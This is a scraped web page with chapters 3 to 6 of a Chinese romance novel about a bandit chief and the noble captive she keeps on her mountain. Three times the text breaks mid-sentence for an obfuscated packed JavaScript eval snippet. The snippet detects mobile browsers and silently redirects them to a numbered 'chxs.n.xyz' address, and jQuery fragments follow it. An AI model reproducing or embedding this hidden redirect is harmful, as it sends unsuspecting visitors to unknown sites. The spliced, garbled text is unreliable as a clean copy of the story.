;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828842|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说法!?” 不过岳瑛本来就是洛京城里高门大户的千金,她这么说,定然没错。 “所以得让谢十三先喜欢上我,才能生孩子?” 见岳瑛无比肯定地点了点头,沈青大手一挥:“这简单,我这样的人物,应该很难有人不喜欢我吧?正好现在也不是生孩子的好时候,等我铲除了谢珩,再专心来弄生孩子这事。” 岳瑛一脸一言难尽地看着眼前的人,终究还是没再多说什么。 “大哥!你好些了没?” 外面萧瑞的敲门声邦邦响起,沈青才恍然想到早上一路走过来太急,撇下他们没理,连忙虚虚坐好,让人进来。 “大哥,你……” “没事没事,老毛病不用管,”沈青白着脸挥手打断:“一大早这么急干嘛?未必谢珩放火烧山了不成?” “大哥你猜得真准!今早有官兵在山下包围起来,派人传话说,你要是不放了谢瑜,他们就一把火烧了莽山。” “哼,说得好像我要是没抓人,他们就不会来烧山了一样。” 谢珩反应倒是快,看来这次是狠狠恶心到他了。只不过现在全渝州的山寨都有人物在她莽山做客,只要官兵敢攻山,到时候信号一发,莽山之外,其他山头必定纷纷驰援。 选在这时候攻山,这谢珩也没想象中那么聪明嘛。 这么一想,沈青就痛快,一骨碌翻身下榻,蹬上鞋子就往外冲。 “诶呦!” 刚迈出两步,小腹猛地一阵抽搐,痛得她捂着肚子,笔挺的腰身堪堪佝偻下来,霎时冷汗直冒。 “大哥!” 萧瑞眼疾手快一把将往下倒的沈青捞起,吓了一大跳,一张俊脸立刻耷拉了下来,他这向来勇猛的大哥,咋还摸出几分轻软瘦弱了? “大哥你不会是得了什么绝症偷偷瞒着弟兄们吧!?” “滚滚滚,别乱说话,”沈青撑着萧瑞手臂,艰难站直了身子:“按先前的布署行事,今天敢上来的官兵,有一个算一个,都得给老子去见阎王。” 这天杀的谢珩,可真会挑日子,很好,你完了! 虚白病容间,凛凛杀意若隐若现。 萧瑞这才放心下来:“那破檄文一出,兄弟们早等这一天了!大哥,我扶你去坐镇!” “等一下。” 忽然有一道声音如清泉入耳,门外是白雪苍山,一袭素白身姿披着鹤羽氅衣款款走近,恍若世外之人。 “我可以修书一封,让山下的官兵暂且退兵。” 直到谢珩再次开口,目光正凝在这张绝世容姿上出神的沈青才反应过来:“你是觉得小爷我会怕下面那群废物?” “阁下坐地一只虎的实力,我自然不敢质疑。但若是可以不费一兵一卒护莽山上下所有人周全,沈寨主或许可以考虑一下?” “那最好不过,渝州的山匪里头,我可是最仁善的了,最不喜欢打打杀杀这种事了。” 萧瑞:“……” 岳瑛:“……” 连谢珩都被哽了一下,原本准备了一堆循序渐进的说辞到嘴边又重新咽了回去,沈青能在莽山独大,果然不单单只靠匹夫之勇,还挺……能屈能伸。 见他默然,沈青挑眉问道:“说吧,你有什么条件?” 末了还不忘补充道:“放你走是不可能的。” 谢珩也没指望她能放自己离开,他半敛着眸子,极力压抑眼底情绪:“以后你不可强迫于我。” 4. 第 4 章 沈青抱着救命的汤婆子窝在藤椅里摇啊摇,目光始终落在不远处正在书桌前簌簌落笔的身影上。 不愧是书香门第里的公子,往桌前那么一站,笔那么一握,还真是那么回事! 这赏心悦目的画面可比良药管用许多,多看一眼,身上的疼痛都能多缓解一分呢。 而且这人还挺会变通,只用了一晚上就明白了识时务者为俊杰的道理,这会儿不吵不闹不绝食了,倒是让人省心不少。 一想到刚才这人用那样一张清绝雅正的脸,别别扭扭说出不许强迫他的话,沈青唇畔不自觉就勾起一抹笑意。 不强迫就不强迫呗,正好岳瑛方才说了,要怜香惜玉,要情投意合,要慢慢俘获美人芳心…… “写好了,沈寨主过目吧。” 眼前递来的书信打断她思绪翩翩,她一手抽过书信:“什么沈寨主,太生分了,你就跟着岳瑛叫我阿青……” 嚯!这一笔好字!她以前的字都白认了! 沈青瞪直了眼,来来回回看过信件内容,谢十三主要就是阐述了他在莽山所见,兵力守卫与先前官府预估情况有差,规劝族兄,此时交战,两败俱伤,与他无益,不妨暂止干戈,徐徐图之。其他并无多言。 “这信没问题,我也要给谢珩写封信,一并给他送去!” 谢珩意外抬眼:“你想跟他说什么?” “你现在是我小妾,那算起来,我跟谢珩不也是亲戚了吗?作为亲戚,出于礼数我也得写封问候问候,到时候化干戈为玉帛,咱们两家亲如一家,那多好!” 谢珩微微抿了抿唇,不再言语。 沈青被眼前一笔好字勾得兴致勃勃,起身走到桌前铺开纸笔:“谢十三,帮我研个墨。” 谢珩没有多言,竟真的挽起袖子,站在一旁细细磨起墨来。 红袖添香,果然是人间雅事!沈青提笔,在纸上游龙走蛇起来。 “谢十三,你说谢珩看了信后,真的会退兵吗?”她一边写着,一边忍不住跟身边的人搭话。 “应该会。” “依我看,那你这族兄还挺在意你的,你被抓上山来,他居然自乱阵脚到这地步了。” “他今日着急出兵围山,是为了维护谢氏颜面。如若看了我的信退兵,也只是慎重权衡形势后的考量而已。不然,他决心要做的事,并不会考虑旁人性命。” 沈青手上一顿,侧眼看谢十三垂眸磨墨动作未停,悠悠一笑:“这可是你上山以来,对我说过字最多的一次了,有进步!” 谢珩不想理她,握着砚石的指节更加用力,微白了几分。 本来,今日的沈青,应该已经是一具尸首了。 只是最后理智回笼,让他收了手。 单单只杀了沈青,他身陷匪寨不好脱身不说,莽山上下数千匪众也无法收服。 何况那日他被人一路引至莽山,迷香发作时就要被暗杀灭口,好在对方还没来得及动手,正好撞上萧瑞这群人把他抓上山来,阴差阳错反而让他免于一死。 那算计灭口之人,必定是刺史府内部之人,此时的刺史府也并不安全。 事已至此,倒不如将计就计,先委身于此,与这贼首周旋博取信任,这样既可多探取莽山信息,以便日后一网收服;正好也趁这段时间设法引蛇出洞,揪出埋在刺史府的隐患。 两人一时无话,沈青埋头安静地写了一阵,忽然仰头:“我字认得不全,有两个字不会写,要请教公子。” “哪两个字?” 沈青歪头看他,一脸认真求知,清凌的眸子里溢出笑意:“鸳鸯成双的鸳鸯怎么写呢?” “我也不会。”谢珩回答得干脆。 沈青顿时沉下脸色将笔一搁:“谁准你不会的?” 笔尖墨渍在白纸上浸出一朵墨花。 “好,我教你写。” 在她下一句“我有的是法子治你”脱口而出前,谢珩垂眸拾起被搁下的笔递回沈青手中。 昨晚他萌生的死志已迸发过一次,眼下他再如何忍辱含垢,他也不会再杀自己第二次了。 他粗粗看了一眼沈青正在写的信,有些意外他这一笔字竟然不差,颇有飘逸洒脱之态,至于内容,无非就是洋洋洒洒写的什么跟谢十三鸳鸯成双,恩爱不离,缔结两姓之好这类的话。 也真是不知道,他到底是想示好,还是想挑衅威胁。 “这样写。”谢珩压抑住心中的反感,俯下身来,握住笔杆上端,带着沈青往下写。 在他俯近的时候,沈青心脏倏尔紧了一下。 有温柔清冽的梨香将她包裹住,细细凝神,耳畔有温热的呼吸淌过,她握着笔杆的一端,另一只手就在她握笔的上方一点,有力地带动笔杆移动,她几乎能感受到对方指尖沁凉如玉的触感。 真是不该答应不能强迫他!怪不得说坐怀不乱是君子,这柳下惠还真不是随随便便能当的! 她目光盯着笔尖游走,一笔一划,鸳鸯字成。 “好了。”谢珩松开笔杆,立刻远远退开桌边。 沈青顿时索然失味,兴致缺缺地把剩下两行话草草写完,将两人的信件叠好,一同塞进厚厚的牛皮纸封里,然后撑着脑袋一想,又提笔唰唰在封面写了一行大字。 写完笑眯眯扬起信封展示:“你看我这称呼礼貌吧?” 谢珩抬眼看着信封上“大舅哥谢珩亲启”龙飞凤舞的几个大字,面无表情:“你随意。” 为了表现自己极大的诚意,沈青专门安排了萧瑞下山去送信,让他务必亲手将信递到谢珩手中。 她自己身子惫懒不想动,就继续抱着汤婆子窝在藤椅里,有一搭没一搭跟谢十三聊天。 “据我所知,你还没有婚配,可是世家子弟的婚事不应该早就定下来了吗?” “婚姻之事,都是父母之命,我无需置喙。” “噢……那多没意思。那你可有心仪的女子?” “没有。” “那有没有心仪的男子呢?” “……” 聊着聊着,沈青就发现,当上天赋予一个人绝世好皮囊的时候,一定会剥夺掉他一点什么,比如谢十三,怎么会有聊起天来如此无聊的人! 可是对着他那张容光映人的脸,她忍了又忍,终于还是原谅了一切。 好在这样她问一句他答一句的对话没有持续多久,沈青眼皮沉沉,虚虚睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828843|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去。 不怎么踏实的浅寐中,做着各种光怪陆离的梦,甚至有一个梦境是谢十三白衣清矜半跪在她面前,微红着双眼,原本清冷的眸子里,盛满了低微的哀求:“你不是想跟我生孩子吗?你别走,我什么都应你。” 甚是可怜。 沈青简直是要仰天狂笑三百声!太清高迟早要遭报应的! 可惜一不小心笑声太大了,生生把自己给吵醒。 她下意识擦了擦嘴角的濡湿,抬眼看到书桌另一端执卷看书的侧影,还是一如既往地透着拒人于千里之外的冷清,还有刚才见她被自己笑醒,那一眼看过来掩盖不住的嫌弃。 哼,有什么好嫌弃的?要是他看到她梦里的场景,吓死他! 可惜梦境是美好的,现实是残酷的。 “我睡了很久吗?”沈青继续开始找话。 “嗯。” 沈青简直是要把白眼翻上天,刚才睡梦中的好心情一扫全无,明天起她得想个法子好好训练他,这么好看的脸,必须得学会甜言蜜语哄人! “大哥!我回来了!” 萧瑞的声音在门外响起,沈青第一次觉得自己听到他的声音如此高兴,甚至都有些迫不及待了:“赶紧进来。” “大哥,信一送到,围在山下的官兵就都撤了,不过并没有见到谢珩。” 谢珩这人清高得很,反正来渝州几个月,各路山匪谁都没正面跟他打过照面,没见到就没见到吧,退兵就行。 只是有一点沈青觉得很奇怪:“那谢珩什么话都没交代,就一声不吭退兵了?” 萧瑞也觉得奇怪:“是啊,愣是一声都没吭就走了。” “难道是准备回去再写一篇檄文来骂我?但我态度都这么友好了,应该写篇文章夸我吧?诶,算了,”沈青懒得再去研究谢珩那边的心思,转而看向不知在走神想什么的谢十三:“你写信解了莽山之围,我决定给你一个重大奖励。” “什么?”谢珩回过神来,若是能再换取一个条件,也是不错的。 沈青很是自得地道出她的奖励:“把我义弟萧瑞奖给你做学生,从此你就拥有了世上最聪慧、最前途无量的学生。” 虽然谢珩没对她的奖励抱什么希望,但他还是有些低估她超出寻常人的跳脱了,他扯了扯嘴角,想要冷笑都笑不出来:“在下才疏学浅,不敢担此大任,误人子弟。” 别说谢珩,萧瑞也急着跳出来反对:“大哥,虽然我过于聪慧先生们都不敢教我了,你也不必这样饥不择食,让这个小白脸来当我先生吧?” “你先闭嘴,”沈青懒得管萧瑞,一张笑靥染上寒霜,只对着谢十三:“你别忘了,我可是土匪啊,出尔反尔这事我太熟了,我虽然答应了不强迫你,但你要是惹我不高兴,我才不管我说过什么,该办了你就办了你。” 谢珩的脸色也没好到哪里去,他真是低估了贼首出尔反尔过河拆桥的嘴脸! 但现在还不是惹怒她的时候,他只好咬牙按捺住心中的气血翻涌:“你想让我教他什么?” “当然是倾尽你毕生所学,把能教的都教了,我看谢家家学还不错,很适合我们莽山的气质。” “……好。” 5. 第 5 章 今年的天气实在奇怪,才刚刚入冬,一场初雪竟然下了五六日都没停过。 更奇怪的是,谢珩退兵回去了好几天,还是一点动静都没有,这缩头乌龟的做派实在是跟那个洋洋洒洒写出讨贼檄文的形象不太相符。 不过莽山危机暂时解除,各路山头的宾客也陆续回去了,沈青也乐得清闲,因着身上不方便,窝在岳瑛房中舒舒服服睡了几天,半步房门都没踏出过,今日身子总算是恢复如常了。 一有精神,她就向岳瑛打听起来:“这几天萧瑞跟着谢十三学得怎么样?” 岳瑛一直替她留心着:“这几日教的都是些修身、齐家、治国、平天下的道理。一开始瑞公子还不太情愿,好几次气得谢十三脸都红了,这两日倒是磨合好了一些。” 沈青听着,难得地没有嬉笑嘲讽:“这些东西,萧瑞是该学。” “既然先生这么费心尽力,你作为兄长,也该去犒劳慰问一下?” “啊?这不是他应该的吗?” 岳瑛有点恨铁不成钢:“可是你不主动示好,怎么培养感情呢?” “噢……” 沈青恍然反应过来,自己把谢十三留在小金顶上是为了做什么,又听岳瑛在耳边说了半天,洛京中的公子小姐们是怎样在雪中相携寻梅的雅事。 听起来也没什么意思嘛。 不过最终还是起身冒着絮絮飞雪生龙活虎地出门了。 萧瑞听学的地方在小金顶偏侧的一间草庐里,平日也少有人来,沈青过去的时候已经过了晌午,草庐前留在雪地上的脚印又被新雪掩盖,白茫茫很干净的一片,因着沈青的到来,又重新多了一溜串脚印。 她没有进去打搅两人,窗扇被一根竹竿儿撑着半开,她就顺势盘腿在窗页下坐着。 四下寂寂,雪落无声,苍茫天地间,只有草庐内清清朗朗的一问一答时不时飘出窗外。 她侧耳听着,谢十三已经在讲“温良恭俭让”之类的君子作风,正让萧瑞自己来做解读。 萧瑞已经解读到“俭”:“这个俭说的也是我大哥,他一年到头秋冬两身衣裳,春夏两身衣裳,而且都还是同一个颜色!对了,他束发都只用那一根布带,但是对我大嫂却从不吝啬,还会专门给我大嫂买金簪子。你说这样只对自己节俭,却对夫人大方的人,是不是很符合‘俭’的君子品性?” “……只单从俭这一点来说,他是做到了。” 沈青也无比认同地点了点头,不愧是她看着长大的弟弟,夸得真好。 少年的声音继续朗朗传来:“至于这个让嘛,不就是谦让的意思吗?也太符合我大哥了。每次我们出去劫富济贫,遇到危急境况,大哥一定会把危险让给我和赖三,这样我们才有机会锻炼自己的身手,才有本事成为这莽山的二当家和三当家。” “其实……也行。” 沈青在窗下听得咯咯直笑,草庐内顿时静默下来,她连忙“喔”了一声赶紧捂住自己的嘴,好一会儿,才重新听到里面传出谢十三清润的声音。 这一次,他在讲当朝前不久一个典故。 讲的是从小相依为命的两兄弟,因战乱分别,阴差阳错的,一个当了盗匪,一个做了将军,两人再度重逢,血脉亲情,终于变成将军挥剑斩落贼子,“你为盗贼,我为王臣”,十分正义凛然的大义灭亲。 沈青听得津津有味,越发觉得谢十三真是可爱极了,大概是觉得她已经无可救药了,于是寄希望于萧瑞,期望他被圣贤书浸润之后能改邪归正,弃暗从明。 嗯,总该要让他在莽山上有些盼头,才好更顺利推进她的生孩子大计! 天色渐渐又暗了些,山头起风了,沈青双手抱胸将自己裹紧了些,换了个舒服的姿势继续靠在窗下。 雪花打着旋儿落在她的青衣上,旋即悄然化成一点小水渍,像极了此时轩窗内谢十三的声音,清冷柔和,纯粹干净,浸润着……入了梦。 不知过了多久,她被一声木门的“吱呀”声吵醒,揉了揉惺忪睡眼,看清了先出门的是谢十三。 谢珩也一眼看到窗下一抹青影,有些意外地看向她被打得半湿的衣裳:“你竟还没走?” 跟在后面出来的萧瑞吓得直接退了一大步:“大哥,你竟然不信任我到这个地步了?亲自督促我的学业?” 沈青伸了个懒腰站起来:“我是专门来找谢十三的,想带他在小金顶逛逛。” 谢珩看了一眼檐外风急雪骤:“现在?” 沈青殷勤看他:“去不去?” “好。” 谢珩没什么抗拒地应下,既然给他机会来摸清小金顶的布局,那就恭敬不如从命了。 直到两道身影在雪中越走越远,白衣飘逸如仙,青衣秀挺灵动,最后消失在一片白茫茫中,萧瑞才没由来地生出一丝叹惋,奇怪,当年大哥娶大嫂的时候,也没见这么重色轻友啊? 把萧瑞抛之脑后的沈青,正一步一个脚印在雪地上踩出“咯吱咯吱”的声音,而同样踩在雪地上的谢十三,步下轻移,无声无息。 要不是回头能看见雪地上也留了一行脚印,她真是要怀疑身畔之人莫非天上谪仙? 在这天地苍茫中走了许久,两个人都静默无言,沈青虽然不怕冷,但也不代表她喜欢一直在雪地里吹冷风啊。 真不明白岳瑛怎么回事,非让她出来领着谢十三四处逛逛,说什么在洛京,这样的雪天,男女一同漫步看景赏雪,是促进感情极好的方式。 促进感情倒是没感受到,她只觉得再这样闷头走下去,她想打人了。 算了,既然已经出来了,旁边又是个不会说话的,想要俘获对方芳心,她主动点好了。 于是她开始叭叭介绍起小金顶及莽山诸峰的一切。 小金顶是沈青生活的地方,既是莽山的主峰,也是烽火寨的主寨。 小金顶上有用来议事的前后两厅,东边和西边都是住人的木屋竹楼,徐青萧瑞他们这些在寨中身份较高的人都住在东边,另外一些匪徒就都集中在西边了。然后是一些乱七八糟的杂屋草庐,因为地势宽阔,东西两边相隔较远,各木屋竹楼之间也相互隔了些位置。 这里的男男女女原来也并非想象中混居一处,而是有严格的界限分明,山上女匪虽然甚少,沈青将寨中规矩立死了,但凡不是两厢情愿而有女匪受到戏弄侵犯,侵犯者必将被砍成碎片扔去山中喂野兽。 零零散散的房屋坐落还颇有些生活气息,若不是这里住的都是匪徒,看起来也像个以捕猎为生的世外村庄。 粗粗算来,小金顶上大概只有几百号人,但如今的莽山,沈青统治下的势力已有七八千人众,莽山纵横连绵,这七八千匪徒大多分散在莽山的各个峰头,统一听沈青号令行事。 谢珩默默听着沈青洋洋洒洒的介绍,偶尔点头附和一下,这些有的跟他早先调查出来的情况是一致的,有些却与原先认知大相径庭,比如对那些女匪的态度,倒让他刮目。 只是这七八千匪众,若只占山为王还好,可是莽山这几年势头愈猛,山上匪徒的人数还在以极快的速度逐日递增。 以沈青之悍勇,他日要是起兵攻城略地,定会成为朝廷一大祸害。 必须要在莽山彻底壮大前,为朝廷铲除这一祸害。 “谢十三!跟我到这上面来!” 沈青一把拽起他的袖子,将他从思绪纷飞中拽进坡顶的草亭,一副指点江山姿态:“这个亭子,可就是整个小金顶的最高位置了,只要往这里一站,小金顶在你的脚下,莽山所有峰头也都在你的眼皮下,是不是特别壮观?” 谢珩凭栏极目望去,果然视野极远,延绵甚至可望见不知多远以外的村镇和人家。 更甚的是,莽山群峰皆在眼下展开,每一座峰头的位置和走势,峰与峰之间的路径和关卡,山石、溪涧、密林、深谷,无一不清楚呈现,一目了然。 这是他花了几个月,也没有完整得到过的莽山行军全版图。 如今俱在眼下。 沈青跃上栏杆面向群山坐下,一双黑靴紧束,垂在空中悠哉悠哉一晃一晃:“听说你们洛京有位酒士,会在屋中脱光衣物纵情饮酒,说是以天地为房屋,以房屋为衣物,真是放诞不羁啊。” 谢珩正集中心力记着一些主要峰头路口的位置,忽然被她莫名跳脱的话题打断,下意识抬眼,正对上她也回头看他的眼神。 他囫囵应了一句:“不过是想彰显自己与众不同罢了。” 沈青朝他伸出手:“要不要上来坐?坐这里看得更舒服。” 谢珩自然是不愿,只是刚露出一点拒绝的神色,手臂已经被一把抓住,人就被拽上了栏杆。 他只好也垂腿坐下,与沈青保持着中间还能坐一个人的位置。 沈青凑过去跟他并肩坐好:“怎么样?往高处坐才有睥睨天下的快感,这是整个小金顶,我最喜欢的地方了。在这里喝酒,头上有蓝天白云做棉被,倒头就是枕在整片大地之上,这可太自在了。以后有机会我也请那个酒士来小金顶喝酒!” 谢珩有些意外从她口中说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828844|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出这样的话,不自觉偏过头看向她,她身后是被白雪覆盖的苍茫群山,皑皑雪色里,青衣单薄,窄袖束腰更显得人修长如竹,正微扬起下巴,感受山顶的劲劲冷风,倒也真是不怕冷。 衣襟下露出的脖颈,在青衣白雪的衬托下竟有几分纤白颀秀。 若这不是一个匪头,或许其实没有那么讨厌…… 意识到自己脑海中所想,谢珩瞳孔猛地一缩,连忙撇开自己的视线。 “你干嘛?觉得小爷不好看?” 沈青本来察觉到落在自己身上的目光,结果这人盯了她一会,好像受到了巨大惊吓一般,她强行按捺住将人一把推下去的冲动,看他怎么回答。 谢珩将话岔开:“你带我来这里,不怕我看清路线后跑掉?” 沈青立刻抓住重点:“你转移话题,你心虚了,不敢承认刚才就是被我的美貌震撼住了。” 谢珩真就……无话可说,只抿着唇独坐在风中。 沈青最爱看的就是他这副模样,清冷绝俗的脸上终于有了凡人气的可爱,看得她真想上手磋磨几下。 哈哈大笑几声后她猛然又止住,坏了,这几天岳瑛围着她耳提面命,让她学会察言观色,甜言蜜语…… 她觑了一眼谢十三,果然一副真不想搭理她的样子,只好收敛了笑意死乞赖白凑过去搭话:“诶,你这人真是迟钝,一点都感受不到我的用心良苦,我敢保证,我绝对是你在这世上所能遇见的人中,最仁厚善良的那一个了。” 谢珩清清淡淡瞥了她一眼,不知这张嘴里还能吐出什么象牙来。 见他在听,沈青赶紧继续:“这会儿你看清了吧?小金顶四面都是悬崖,唯一能进出的通道就是西南面的陡坡,那也是把守得严严实实的。我生怕你贸然逃跑的时候掉下悬崖,从此香消玉损,那多可惜。所以我今日才带你来,让你摸清这小金顶上的地形和位置。” “那可多谢阁下,替在下考虑得如此周全。”谢珩算是懂了,沈青这就是在明明白白告诉他,即便将小金顶上一切都全盘托出,他也跑不了。 他倒还真是有几分叹服这莽山坐地一只虎的自信气度了。 沈青见他神色黯淡下来,心中不由得升起一丝怜惜,耐着性子安抚道:“你也不用这么绝望,小金顶其实挺好的。别看现在冬日里大雪封山,这正好是打猎的好日子,在雪地里点上一团烈烈篝火,然后烤鹿肉,饮鹿血,别提多带劲了!” 她把自己都说得垂涎三尺了,也不见谢十三眉宇间有一点期待,难道是觉得打猎太粗俗了? “你要是不喜欢打猎,也可以等春天的时候,这山上的松林竹海哗哗一片,也可好看了。到时会你就拿一把锄头去挖笋,保证你挖的笋一年都吃不完,我们可以把笋切成小段,晒成笋干……” 她天花乱坠说了半天,一个字的回应也没得到,不过也对,这种十指不沾阳春水的世家子弟,怎么会喜欢扛着锄头挖笋呢? 在耐心耗尽以前,她终于又想起了些什么,指着远处一口腾腾直下的瀑布道:“到了夏天,你知道小金顶上最舒服的是什么吗?就是傍晚脱了衣裳让凉水哗哗从身上淌过去,摆一点瓜果在水边,一边吃一边等漫天晚霞散开,头顶就是无数星星,一眨一眨,那可比在山脚底下好看多了。” “那瀑布的水……去了哪里?” 见谢十三终于有了回应,沈青心道这人果然是爱干净,便更耐着性子介绍起来:“这瀑布啊,可是我们小金顶的灵脉,我在这生活这么多年,就算时逢大旱,这水也奔腾不息。至于流向哪里,我又没摔下去过,但肯定是小金顶下面某个地方吧。” “好。” 两人又重新陷入静默,一青一白两道影子杵在栏杆上一动不动。 沈青一路叭叭讲了这么久,一开始与美人同行赏雪的兴奋劲儿已经过去,好像这事儿也并没有岳瑛说得那么令人心神荡漾啊? 这有什么好玩的?洛京的男男女女未免也太无聊了点吧? 如果不是谢十三的倾城容色,她恐怕半柱香都坚持不下去。 好在因着雪天,天色暗得极快,等雪色渐渐亮过天色的时候,沈青终于如释重负:“那我们回去吧,也该吃晚饭了。” 谢珩也如得大赦:“好,回去吧。” “嗯,岳瑛还在等我一起吃晚饭,”沈青突然又想到什么,一本正经补充道:“今日我陪了你这么久,得雨露均沾才行。” 谢珩一脚踩在软软积雪中,忽然跄了一下。 ……倒也不必。 6. 第 6 章 谢珩回屋的时候,天色已经完全黑了下来。 沈青将他安置在寨子东边相对僻静的一间木屋里,虽然屋中器具简陋,好歹被打扫得算干净,勉强能住人进来。 至于餐食,他不肯在外面与一众匪徒们一起同桌抢食,沈青竟也每日遣了手下专门给他送了饭菜到他房中。 矮木几上摆着几个粗陶制的碟子,里头盛了两只冷硬的馒头,青菜萝卜还有各种乱七八糟叫不出名字的菜混煮成一团,最后是一盘飘着油腻子也不知是什么煮成的羹汤。 谢珩微叹了口气,盘腿坐在木几前,用指尖就着杯中冷茶,凭着记忆在木几上摹画起来。 沈青说得不错,小金顶四面是悬崖峭壁,扼守住唯一的通道,便是一夫当关,万夫莫开。 而莽山的其他峰头,也是盘根错节,易守难攻,他们占据了天然的地势,即便官兵手中有了详尽的行军版图,强行攻山,一步踏错就会被困死绞杀殆尽。 真是棘手。 “谢十三!” 在那扇可怜木门被踢开的一瞬,谢珩用衣袖拂去桌上痕迹:“你怎么来了?” “当然是来陪你吃饭啊,”沈青理所当然地撩起衣摆坐下:“不然你一个人多孤苦伶仃,也太可怜了吧!” 其实是岳瑛非让她来的,说什么洛京城里,男女相悦,在灯下共进晚膳,是很温馨的时刻。 真是没想到,生孩子这事比想象中要麻烦艰巨太多了,难怪爹爹临终前会这般千叮咛万嘱咐! 谢珩嘴角扯了扯:“我向来习惯一个人用膳。” 沈青浑然没听到他的话似的,拿起一个馒头沾点羹汤,啃得香喷喷:“那不行,明日我一整天都要陪岳瑛下山买衣裳,所以今日也得陪你一整天,这样才是雨露均沾,一碗水端平嘛。” 谢珩本不欲再多搭理她,但是听闻岳瑛竟然也可以下山,由不得多问了一句:“你们明日要下山?” 沈青莫名奇妙:“我们只是山匪,又不是野人,下个山有什么好大惊小怪的?” 谢珩默默捏紧了手中茶杯,听说岳瑛原本是高门大户里的千金,也是被强掳上山的,若是她可以下山,那他是不是也可以…… 沈青已经习惯了他一天到晚若有所思的模样,不过她看也出来这桌上饭菜并不合这位娇生惯养公子哥的口味,这种情况……饿几顿就老实了。 正好她自己敞开了肚皮吃了个风卷残云,连最后一点羹汤都被她“滋溜滋溜”喝了个干净。 但也不能显得太欺负人,她摸了摸自己吃撑了的肚皮,还是耐心安抚了一下眼前人:“自从你来了小金顶,人都瘦了一圈。既然你吃不惯兄弟们做的饭菜,改日我给你抢些好的来吃。” 一听到“抢”这个字,谢珩眉心微跳了下:“算了,不必。” 沈青站起身来,伸伸懒腰,按照规划,她要准备进入下一个步骤了。 “那个……你去沐浴吧,我们早点歇息。” 谢珩脸色唰地一变,起身退开两步:“你今夜要睡在这里?” 沈青很不理解他这么大反应干嘛:“你是我的小妾,我吃饱了要跟你睡在一起,这不就是你们圣贤书里说的‘饱暖思□□’吗?” “这话说的不是这意思,”谢珩知道跟她讲道理都是徒劳,但还是试图跟她再强调一次:“可是你答应过,不会强迫……” 同样的话,他再难以启齿说第二遍。 沈青“噢”了一声,歪头看他:“我说的是今晚咱两睡在一起,就盖着被子聊聊天不行吗?还是说你想做点别的什么?” 那清凌的眸子里,干净纯粹得一丝杂质都没有,谢珩气结,好像是他在用小人之心生一些肮脏邪念似的。 见他不动,沈青抬起双臂朝他扑棱:“我今晚可是已经好好沐浴过的,光是皂角水都泡了两遍呢!你闻闻,是不是很香?” 谢珩被她逼得连连后退:“行了,我去。” 等谢珩乖乖去了水房,沈青四仰八叉往榻上一倒,用鼻子狠狠吸了口气,真舒服啊。 这榻是香的,不是她最开始闻到的那种清雅梨花香,现在已经变成了淡淡的皂角香,跟她身上是一样的。 自从有了谢十三,她终于开始嫌弃,自己原先在那些臭烘烘的男人堆里都过的什么日子啊! 上一次同塌而眠还是洞房夜,可惜她完全不记得那晚是怎么过的了,一点也没有感受到春宵一刻值千金是怎么回事。 但是清晨睁眼入目就是玉山容色,那种感受和冲击,她可太记得了!一想到明日一早醒来便又可重见那般场景,连心跳都有些雀跃起来。 可惜她在榻上翻来滚去了老半天,也不见人回来,为了不让自己发火,她只好硬着头皮翻开枕边的书卷打发时间。 通篇都是些什么“之乎者也”,端端正正的楷体越看越龙飞凤舞,手也不再听使唤,“吧嗒”一响,书卷落地。 沈青的沉沉眼皮猛地睁开,屋子里空荡荡,静悄悄。 “谢——十——三!” 清亮的嗓音响彻整个主寨上下:“你既然这么爱洗澡,那我让兄弟们进去陪你洗个痛快,没有三五天别给我出来!” 这一嗓子太急太气,一口气下来,她重新靠回榻上,眼前阵阵发黑。 这几日果然还是对他太过于温柔了!等会非好好给他立了规矩才行! 吱呀的木门终于被轻轻打开,又重新慢慢合上,沈青冷眼坐直了身子,正要发作,目光却在那道绰约而来的身姿上凝住了。 清水玉出,天然华光。 不再是那个平日里清矜雅正让人不可亵渎的高贵公子,乌亮的发髻被沾了一层濛濛水雾斜斜挽起,一丝不苟的衣裳襟口略微松散下来,冰肌玉骨,隐约可见。 是今夜可以入梦的情郎。 怪不得自古以来丹青妙手,都爱画美人出浴图! 沈青今日为哄美人芳心马上要失去的耐性这会儿全部回来了,唇畔绽放出一抹笑意:“你可真好看!” 对着这样一张脸,她愿意每天都有耐心! 她目光呐呐盯着谢十三恍惚走近,在离榻前还有几步之遥的位置住了脚步。 “怎么不过来了?” “我……” 谢十三站定,没有要继续走过来的意思,似乎是在艰难地纠结什么,最后还是缓缓将宽阔衣袖一点点捋起,露出双臂。 皓白双臂上,一大片一大片触目惊心的红。 沈青心底暗暗惊呼一声:“长这么多红疹了?” 谢十三垂着眼眸,又将自己领口拉下一点:“这里也有。” 